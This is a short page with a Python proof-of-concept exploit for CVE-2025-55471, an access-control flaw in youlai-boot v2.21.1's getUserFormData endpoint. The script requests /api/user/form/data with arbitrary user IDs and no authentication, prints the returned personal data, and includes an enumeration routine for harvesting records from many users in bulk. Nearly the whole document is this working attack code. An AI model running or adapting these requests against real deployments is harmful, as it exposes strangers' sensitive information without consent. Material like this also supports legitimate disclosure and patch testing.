CVE-2025-55471 | youlai-boot getUserFormData 访问控制漏洞导致敏感信息泄露

# CVE-2025-55471 PoC - youlai-boot Incorrect Access Control # Target: youlai-boot v2.21.1 getUserFormData function # Vulnerability: Allows unauthorized access to other users' sensitive information import requests import json target_url = "http://target-server:8080" # PoC 1: Basic unauthorized access to user form data def exploit_user_form_data(target_url, user_id): """ Exploit the getUserFormData function to retrieve sensitive user data without authentication. """ endpoint = f"{target_url}/api/user/form/data" params = {"userId": user_id} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Successfully retrieved data for user_id: {user_id}") print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}") return data else: print(f"[-] Failed to retrieve data. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None # PoC 2: Enumerate multiple user IDs to harvest sensitive data def enumerate_users(target_url, start_id=1, end_id=100): """ Enumerate user IDs to harvest sensitive information from multiple users. """ print(f"[*] Starting enumeration from user_id {start_id} to {end_id}") harvested_data = [] for user_id in range(start_id, end_id + 1): data = exploit_user_form_data(target_url, user_id) if data: harvested_data.append({"user_id": user_id, "data": data}) return harvested_data # Usage examples if __name__ == "__main__": # Test single user access print("[*] Testing single user access...") exploit_user_form_data(target_url, 1) # Uncomment to enumerate multiple users # print("[*] Starting user enumeration attack...") # all_data = enumerate_users(target_url, 1, 50) # print(f"[*] Harvested data for {len(all_data)} users")